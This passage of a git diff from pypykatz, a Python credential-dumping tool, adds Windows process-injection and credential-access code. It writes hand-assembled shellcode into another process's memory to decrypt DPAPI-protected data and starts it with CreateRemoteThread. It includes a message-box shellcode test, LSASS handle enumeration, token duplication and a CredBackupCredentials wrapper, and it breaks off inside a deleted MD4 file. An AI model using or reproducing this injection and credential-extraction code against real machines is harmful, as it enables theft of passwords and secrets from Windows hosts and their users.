+		protectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptProtectMemory", True)
+		unprotectmemory_addr = self.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory", True)
+		exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
+		copymemory_addr = self.get_remote_function_addr("NtDll.dll", "RtlCopyMemory")
+		#print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
+		#print('exitthread_addr %s' % hex(exitthread_addr))
+		#print('copymemory_addr %s' % hex(copymemory_addr))
+
+
+		# allocating memory in remote process
+		code_cave = self.page_alloc(1024)
+		result_cave = self.page_alloc(protected_blob_size*10)
+		#print('code_cave : %s' % hex(code_cave))
+		#print('result_cave : %s' % hex(result_cave))
+
+
+		#building code
+		code  = b''
+		code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
+		code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
+		code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
+		code += b'\x48\xb8' + Process.int_to_asm(unprotectmemory_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		code += b''
+		code += b'\x48\xb9' + Process.int_to_asm(result_cave) # MOVABS RCX,<ADDR>
+		code += b'\x48\xba' + Process.int_to_asm(protected_blob_addr) # MOVABS RDX,<ADDR>
+		code += b'\x49\xb8' + Process.int_to_asm(protected_blob_size) # MOVABS R8,<ADDR>
+		code += b'\x48\xb8' + Process.int_to_asm(copymemory_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		code += b''
+		code += b'\x48\xb9' + Process.int_to_asm(protected_blob_addr) # MOVABS RCX,<ADDR>
+		code += b'\x48\xba' + Process.int_to_asm(protected_blob_size) # MOVABS RDX,<ADDR>
+		code += b'\x49\xb8' + Process.int_to_asm(flags) # MOVABS R8,<ADDR>
+		code += b'\x48\xb8' + Process.int_to_asm(protectmemory_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		code += b''
+		code += b'\x48\x89\xC1' # mov rcx, rax
+		code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		
+	
+		#print('code: %s' % code.hex())
+		self.write(code_cave, code)
+
+		thread_handle, thread_id = self.create_thread(code_cave)
+		WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
+		thread_exit_code = GetExitCodeThread(thread_handle)
+		#print(thread_exit_code)
+
+		result = self.read(result_cave, protected_blob_size)
+
+		self.page_free(code_cave)
+		self.page_free(result_cave)
+		return result
+	
+	def get_process_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS):
+		return OpenProcessToken(self.phandle, dwDesiredAccess)
+	
+	def duplicate_token(self, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = 2):
+		#proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
+		token_handle = OpenProcessToken(self.phandle, TOKEN_DUPLICATE)
+		cloned_token = DuplicateTokenEx(
+			token_handle, 
+			dwDesiredAccess = dwDesiredAccess, 
+			ImpersonationLevel = ImpersonationLevel, 
+			TokenType = TokenType
+		)
+		CloseHandle(token_handle)
+		return cloned_token
+if __name__ == '__main__':
+	calc = Process(pid=16236)
+	calc.list_pages()
+	calc.list_modules()
+	print(1)
+	"""
+	
+
+	data = calc.read(140705499119616, 0x100)
+	print(data)
+	new_addr = calc.page_alloc(0x1000)
+	print(new_addr)
+	data = calc.read(new_addr, 0x100)
+	print(data)
+	data = calc.write(new_addr, b'HELLO WORLD!')
+	print(data)
+	data = calc.read(new_addr, 0x100)
+	print(data)
+	x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ)
+	print(x)
+	try:
+		data = calc.write(new_addr, b'A'*20)
+		print(data)
+	except:
+		print('Error but it is expected')
+	calc.page_change_protect(new_addr)
+	data = calc.write(new_addr, b'A'*20)
+	print(data)
+	data = calc.read(new_addr, 0x100)
+	print(data)
+
+	calc.page_free(new_addr)
+	###################################################################################
+	msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\
+				b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \
+				b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \
+				b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\
+				b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\
+				b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\
+				b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\
+				b"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
+	
+	new_addr = calc.page_alloc(0x1000)
+	print(hex(new_addr))
+	data = calc.write(new_addr, msgbox)
+	print(data)
+	
+	data = calc.read(new_addr, 0x100)
+	print(data)
+
+	calc.create_thread(new_addr)
+
+
+	#calc.page_free(new_addr)
+	"""
+	#unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory")
+	#print('unprotectmemory_addr %s' % hex(unprotectmemory_addr))
+	#exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread")
+	#print('exitthread_addr %s' % hex(exitthread_addr))
+	#copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory")
+	#print('copymemory_addr %s' % hex(exitthread_addr))
+	#cave = calc.page_alloc(0x1000)
+	#print('enclave : %s' % hex(cave))
+	#input()
+	#calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr)
+	calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0)
+
diff --git a/pypykatz/commons/readers/volatility3/__init__.py b/pypykatz/commons/readers/volatility3/__init__.py
index eff19f3..9c80ef0 100644
--- a/pypykatz/commons/readers/volatility3/__init__.py
+++ b/pypykatz/commons/readers/volatility3/__init__.py
@@ -1,11 +1,10 @@
-import logging
 from typing import List
 
-from volatility.framework import interfaces, constants, exceptions, symbols
-from volatility.framework import renderers
-from volatility.framework.configuration import requirements
-from volatility.framework.objects import utility
-from volatility.framework.symbols import intermed
-from volatility.framework.symbols.windows import extensions
-from volatility.framework.layers.scanners import MultiStringScanner
-from volatility.plugins.windows import pslist, vadinfo
\ No newline at end of file
+from volatility3.framework import interfaces, constants, exceptions, symbols
+from volatility3.framework import renderers
+from volatility3.framework.configuration import requirements
+from volatility3.framework.objects import utility
+from volatility3.framework.symbols import intermed
+from volatility3.framework.symbols.windows import extensions
+from volatility3.framework.layers.scanners import MultiStringScanner
+from volatility3.plugins.windows import pslist, vadinfo
diff --git a/pypykatz/commons/readers/volatility3/volreader.py b/pypykatz/commons/readers/volatility3/volreader.py
index 0d991c1..744de7c 100644
--- a/pypykatz/commons/readers/volatility3/volreader.py
+++ b/pypykatz/commons/readers/volatility3/volreader.py
@@ -10,9 +10,6 @@
 # they probably have more important things to deal with :)
 #
 
-import logging
-
-from pypykatz.pypykatz import pypykatz
 from pypykatz.commons.common import *
 
 from . import *
diff --git a/pypykatz/commons/win_datatypes.py b/pypykatz/commons/win_datatypes.py
index a5a72f4..2b44fde 100644
--- a/pypykatz/commons/win_datatypes.py
+++ b/pypykatz/commons/win_datatypes.py
@@ -4,9 +4,7 @@
 #  Tamas Jos (@skelsec)
 #
 
-import io
 import enum
-import logging
 from minidump.win_datatypes import DWORD, LONG, LONGLONG, \
 	POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \
 	BYTE, PVOID, WORD, DWORD64
diff --git a/pypykatz/commons/winapi/constants.py b/pypykatz/commons/winapi/constants.py
index 9520a07..9346e78 100644
--- a/pypykatz/commons/winapi/constants.py
+++ b/pypykatz/commons/winapi/constants.py
@@ -6,6 +6,9 @@
 
 PROCESS_QUERY_INFORMATION = 0x0400
 PROCESS_VM_READ = 0x0010
+PROCESS_VM_WRITE = 0x0020
+PROCESS_VM_OPERATION = 0x0008
+PROCESS_CREATE_THREAD = 0x0002
 
 # Standard access rights
 DELETE                           = 0x00010000
diff --git a/pypykatz/commons/winapi/local/advapi32.py b/pypykatz/commons/winapi/local/advapi32.py
index d6885ab..af887ec 100644
--- a/pypykatz/commons/winapi/local/advapi32.py
+++ b/pypykatz/commons/winapi/local/advapi32.py
@@ -1,7 +1,10 @@
 
 import ctypes
 from pypykatz.commons.winapi.constants import *
-from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
+from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \
+	GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \
+	SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \
+	SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO
 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
 
 
@@ -77,4 +80,15 @@ class ADVAPI32:
 	@staticmethod
 	def RevertToSelf():
 		return RevertToSelf()
-		
\ No newline at end of file
+
+	@staticmethod
+	def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
+		return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess)
+	
+	@staticmethod
+	def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
+		return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState)
+	
+	@staticmethod
+	def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
+		return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)
\ No newline at end of file
diff --git a/pypykatz/commons/winapi/local/function_defs/advapi32.py b/pypykatz/commons/winapi/local/function_defs/advapi32.py
index 7807ac9..6144d71 100644
--- a/pypykatz/commons/winapi/local/function_defs/advapi32.py
+++ b/pypykatz/commons/winapi/local/function_defs/advapi32.py
@@ -2822,8 +2822,8 @@ def OpenSCManagerW(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess
 	_OpenSCManagerW.restype  = SC_HANDLE
 	_OpenSCManagerW.errcheck = RaiseIfZero
 
-	hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
-	return ServiceControlManagerHANDLE(hSCObject)
+	hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess)
+	return hSCObject
 
 OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW)
 
@@ -3200,13 +3200,13 @@ def EnumServicesStatusW(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN
 	while GetLastError() == ERROR_MORE_DATA:
 		if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW):
 			break
-		ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
+		ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
 		success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
 		if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
 			raise ctypes.WinError()
 		lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
 		for index in range(0, ServicesReturned.value):
-			Services.append( ServiceStatusEntry(lpServicesArray[index]) )
+			Services.append( lpServicesArray[index])
 		if success: break
 	if not success:
 		raise ctypes.WinError()
@@ -3252,7 +3252,7 @@ def EnumServicesStatusExA(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServic
 		if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value):
 			raise ctypes.WinError()
 		lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA)
-		for index in xrange(0, ServicesReturned.value):
+		for index in range(0, ServicesReturned.value):
 			Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
 		if success: break
 	if not success:
@@ -3279,13 +3279,13 @@ def EnumServicesStatusExW(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServic
 	while GetLastError() == ERROR_MORE_DATA:
 		if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW):
 			break
-		ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
+		ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value)
 		success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
 		if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value):
 			raise ctypes.WinError()
 		lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW)
-		for index in xrange(0, ServicesReturned.value):
-			Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
+		for index in range(0, ServicesReturned.value):
+			Services.append( lpServicesArray[index])
 		if success: break
 	if not success:
 		raise ctypes.WinError()
@@ -3327,9 +3327,30 @@ def RevertToSelf():
 
 	_RevertToSelf()
 
+def CredBackupCredentials(token, path, password = None, flags = 0):
+	_CredBackupCredentials = windll.advapi32.CredBackupCredentials
+	_CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD]
+	_CredBackupCredentials.restype  = bool
+
+	ppath = ctypes.create_unicode_buffer(path)
+	
+	ppassword     = None
+	ppasswordlen  = DWORD(0)
+	if password is not None:
+		ppassword     = ctypes.create_string_buffer(password.encode('utf-16-le'))
+		ppasswordlen  = DWORD(len(password.encode('utf-16-le')))
+
+	success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags)
+
+	if not success:
+		raise ctypes.WinError()
+
+	return success
+
+
 #==============================================================================
 # This calculates the list of exported symbols.
 _all = set(vars().keys()).difference(_all)
 __all__ = [_x for _x in _all if not _x.startswith('_')]
 __all__.sort()
-#==============================================================================
\ No newline at end of file
+#==============================================================================
diff --git a/pypykatz/commons/winapi/local/function_defs/kernel32.py b/pypykatz/commons/winapi/local/function_defs/kernel32.py
index 52289fc..510d3b9 100644
--- a/pypykatz/commons/winapi/local/function_defs/kernel32.py
+++ b/pypykatz/commons/winapi/local/function_defs/kernel32.py
@@ -619,3 +619,104 @@ class STARTUPINFOEXW(Structure):
         ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
     ]
 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
+
+
+
+# BOOL WINAPI VirtualProtectEx(
+#   __in   HANDLE hProcess,
+#   __in   LPVOID lpAddress,
+#   __in   SIZE_T dwSize,
+#   __in   DWORD flNewProtect,
+#   __out  PDWORD lpflOldProtect
+# );
+def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE):
+    _VirtualProtectEx = windll.kernel32.VirtualProtectEx
+    _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD]
+    _VirtualProtectEx.restype  = bool
+    _VirtualProtectEx.errcheck = RaiseIfZero
+
+    flOldProtect = DWORD(0)
+    _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect))
+    return flOldProtect.value
+
+# BOOL WINAPI VirtualFreeEx(
+#   __in  HANDLE hProcess,
+#   __in  LPVOID lpAddress,
+#   __in  SIZE_T dwSize,
+#   __in  DWORD dwFreeType
+# );
+def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE):
+    _VirtualFreeEx = windll.kernel32.VirtualFreeEx
+    _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD]
+    _VirtualFreeEx.restype  = bool
+    _VirtualFreeEx.errcheck = RaiseIfZero
+    _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType)
+
+# LPVOID WINAPI VirtualAllocEx(
+#   __in      HANDLE hProcess,
+#   __in_opt  LPVOID lpAddress,
+#   __in      SIZE_T dwSize,
+#   __in      DWORD flAllocationType,
+#   __in      DWORD flProtect
+# );
+def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE):
+    _VirtualAllocEx = windll.kernel32.VirtualAllocEx
+    _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD]
+    _VirtualAllocEx.restype  = LPVOID
+
+    lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
+    if lpAddress == NULL:
+        raise ctypes.WinError()
+    return lpAddress
+
+
+# HANDLE WINAPI CreateRemoteThread(
+#   __in   HANDLE hProcess,
+#   __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
+#   __in   SIZE_T dwStackSize,
+#   __in   LPTHREAD_START_ROUTINE lpStartAddress,
+#   __in   LPVOID lpParameter,
+#   __in   DWORD dwCreationFlags,
+#   __out  LPDWORD lpThreadId
+# );
+def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags):
+    _CreateRemoteThread = windll.kernel32.CreateRemoteThread
+    _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD]
+    _CreateRemoteThread.restype  = HANDLE
+
+    if not lpThreadAttributes:
+        lpThreadAttributes = None
+    else:
+        lpThreadAttributes = byref(lpThreadAttributes)
+    dwThreadId = DWORD(0)
+    hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId))
+    if not hThread:
+        raise ctypes.WinError()
+    return hThread, dwThreadId.value
+
+def GetProcAddressW(hModule, lpProcName):
+    _GetProcAddress = windll.kernel32.GetProcAddress
+    _GetProcAddress.argtypes = [HMODULE, LPVOID]
+    _GetProcAddress.restype  = LPVOID
+
+    if type(lpProcName) in (type(0), type(0)):
+        lpProcName = LPVOID(lpProcName)
+        if lpProcName.value & (~0xFFFF):
+            raise ValueError('Ordinal number too large: %d' % lpProcName.value)
+    elif type(lpProcName) == type(""):
+        lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii'))
+    elif type(lpProcName) == type(b""):
+        lpProcName = ctypes.c_char_p(lpProcName)
+    else:
+        raise TypeError(str(type(lpProcName)))
+    return _GetProcAddress(hModule, lpProcName)
+
+
+def LoadLibraryW(pszLibrary):
+    _LoadLibraryW = windll.kernel32.LoadLibraryW
+    _LoadLibraryW.argtypes = [LPWSTR]
+    _LoadLibraryW.restype  = HMODULE
+    hModule = _LoadLibraryW(pszLibrary)
+    if hModule == NULL:
+        raise ctypes.WinError()
+    return hModule
\ No newline at end of file
diff --git a/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py b/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
index 900aedf..b348e16 100644
--- a/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
+++ b/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
@@ -1,8 +1,5 @@
-import os
-import sys
 import ctypes
 import enum
-import logging
 
 from pypykatz import logger
 from .ntdll import *
@@ -18,9 +15,9 @@ class WindowsMinBuild(enum.Enum):
 	WIN_BLUE = 9400
 	WIN_10 = 9800
 
-	
+
 #utter microsoft bullshit commencing..
-def getWindowsBuild():   
+def getWindowsBuild():
     class OSVersionInfo(ctypes.Structure):
         _fields_ = [
             ("dwOSVersionInfoSize" , ctypes.c_int),
@@ -32,9 +29,9 @@ def getWindowsBuild():
     GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
     version  = OSVersionInfo()
     version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
-    GetVersionEx( ctypes.byref(version) )    
+    GetVersionEx( ctypes.byref(version) )
     return version.dwBuildNumber
-	
+
 DELETE = 0x00010000
 READ_CONTROL = 0x00020000
 WRITE_DAC = 0x00040000
@@ -49,41 +46,41 @@ if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value:
 	PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF
 else:
 	PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
-	
+
 PROCESS_QUERY_INFORMATION = 0x0400
 PROCESS_VM_READ = 0x0010
 
-	
+
 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
 def enum_process_names():
 	pid_to_name = {}
-	
+
 	for pid in EnumProcesses():
 		if pid == 0:
 			continue
 		pid_to_name[pid] = 'Not found'
 		try:
 			process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
+			pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
 		except Exception as e:
 			continue
-			
-		pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
+
 	return pid_to_name
-	
-	
+
+
 def get_lsass_pid():
 	pid_to_name = enum_process_names()
 	for pid in pid_to_name:
 		if pid_to_name[pid].lower().find('lsass.exe') != -1:
 			return pid
-			
+
 	raise Exception('Failed to find lsass.exe')
-	
+
 def enum_lsass_handles():
 	#searches for open LSASS process handles in all processes
 	# you should be having SE_DEBUG enabled at this point
 	RtlAdjustPrivilege(20)
-	
+
 	lsass_handles = []
 	sysinfohandles = NtQuerySystemInformation(16)
 	for pid in sysinfohandles:
@@ -98,14 +95,14 @@ def enum_lsass_handles():
 			except Exception as e:
 				logger.debug('Error opening process %s Reason: %s' % (pid, e))
 				continue
-			
+
 			try:
 				dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
 				#print(dupHandle)
 			except Exception as e:
 				logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
 				continue
-				
+
 			oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
 			if oinfo.Name.getString() == 'Process':
 				try:
@@ -115,8 +112,7 @@ def enum_lsass_handles():
 						#print('%s : %s' % (pid, pname))
 						lsass_handles.append((pid, dupHandle))
 				except Exception as e:
-					logger.debug('Failed to obtain the path of the process! PID: %s' % pid) 
+					logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
 					continue
-	
+
 	return lsass_handles
-	
\ No newline at end of file
diff --git a/pypykatz/commons/winapi/machine.py b/pypykatz/commons/winapi/machine.py
index 5e4667a..9d50054 100644
--- a/pypykatz/commons/winapi/machine.py
+++ b/pypykatz/commons/winapi/machine.py
@@ -10,6 +10,7 @@ import winreg
 from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI
 from pypykatz.commons.winapi.constants import *
 from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive
+from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE
 
 class User:
 	def __init__(self, name, domain, sid):
@@ -61,11 +62,61 @@ class LiveMachine:
 			name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
 			users[sid_str] = User(name, domain, sid_str)
 		return users
+	
+	#def list_services(self):
+	#	logger.debug('Listing services...')
+	#	hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
+	#	for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr):
+	#		print(serviceattr.lpServiceName)
+	#		print(serviceattr.lpDisplayName)
+	#		print(serviceattr.ServiceStatus.dwServiceType)
+	#		
+	#
+	#		status = ''
+	#		if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING:
+	#			status = 'PENDING'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING:
+	#			status = 'PENDINGPAUSE'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED:
+	#			status = 'PAUSED'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING:
+	#			status = 'RUNNING'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING:
+	#			status = 'PENDINGSTART'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING:
+	#			status = 'PENDINGSTOP'
+	#		elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED:
+	#			status = 'STOPPED'
+	#
+	#		print(status)
+
+	def list_services_pid(self):
+		logger.debug('Listing services with pid...')
+		hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
+		for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
+			if serviceattr.ServiceStatusProcess.dwProcessId == 0:
+				continue
+			yield serviceattr.ServiceStatusProcess.dwProcessId
+	
+	def list_services(self):
+		logger.debug('Listing services with pid...')
+		hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
+		for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
+			if serviceattr.ServiceStatusProcess.dwProcessId == 0:
+				continue
+			yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId
+	
+	def list_all_pids(self):
+		for pid in self.api.psapi.EnumProcesses():
+			if pid == 0:
+				continue
+			yield pid
 			
 if __name__ == '__main__':
 	u = LiveMachine()
-	t = u.list_users()
-	for sid in t:
-		print(str(t[sid]))
-	t = u.get_current_user()
-	print(str(t))
\ No newline at end of file
+	t = u.list_services()
+	
+	#for srv in t:
+	#	print(str(t[sid]))
+	#t = u.get_current_user()
+	#print(str(t))
\ No newline at end of file
diff --git a/pypykatz/crypto/MD4.py b/pypykatz/crypto/MD4.py
deleted file mode 100644
index 3b64dda..0000000
--- a/pypykatz/crypto/MD4.py
+++ /dev/null
@@ -1,181 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-#
-# Copyright © 2019 James Seo <james@equiv.tech> (github.com/kangtastic).
-#
-# This file is released under the WTFPL, version 2 (wtfpl.net).
-#
-# md4.py: An implementation of the MD4 hash algorithm in pure Python 3.
-#
-# Description: Zounds! Yet another rendition of pseudocode from RFC1320!
-#              Bonus points for the algorithm literally being from 1992.
-#
-# Usage: Why would anybody use this? This is self-rolled crypto, and
-#        self-rolled *obsolete* crypto at that. DO NOT USE if you need
-#        something "performant" or "secure". :P
-#
-#        Anyway, from the command line:
-#
-#           $ ./md4.py [messages]
-#
-#        where [messages] are some strings to be hashed.
-#
-#        In Python, use similarly to hashlib (not that it even has MD4):
-#
-#           from .md4 import MD4
-#
-#           digest = MD4("BEES").hexdigest()
-#
-#           print(digest)  # "501af1ef4b68495b5b7e37b15b4cda68"
-#
-#
-# Sample console output:
-#
-#   Testing the MD4 class.
-#
-#   Message:  b''
-#   Expected: 31d6cfe0d16ae931b73c59d7e0c089c0
-#   Actual:   31d6cfe0d16ae931b73c59d7e0c089c0
-#
-#   Message:  b'The quick brown fox jumps over the lazy dog'
-#   Expected: 1bee69a46ba811185c194762abaeae90
-#   Actual:   1bee69a46ba811185c194762abaeae90
-#
-#   Message:  b'BEES'
-#   Expected: 501af1ef4b68495b5b7e37b15b4cda68
-#   Actual:   501af1ef4b68495b5b7e37b15b4cda68
-#
-import struct
-
-
-class MD4:
-	"""An implementation of the MD4 hash algorithm."""
-
-	width = 32
-	mask = 0xFFFFFFFF
-
-	# Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!
-	h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]
-
-	def __init__(self, msg=None):
-		""":param ByteString msg: The message to be hashed."""
-		if msg is None:
-			msg = b""
-
-		self.msg = msg
-
-		# Pre-processing: Total length is a multiple of 512 bits.
-		ml = len(msg) * 8
-		msg += b"\x80"
-		msg += b"\x00" * (-(len(msg) + 8) % 64)
-		msg += struct.pack("<Q", ml)
-
-		# Process the message in successive 512-bit chunks.
-		self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])
-
-	def __repr__(self):
-		if self.msg:
-			return f"{self.__class__.__name__}({self.msg:s})"
-		return f"{self.__class__.__name__}()"
-
-	def __str__(self):
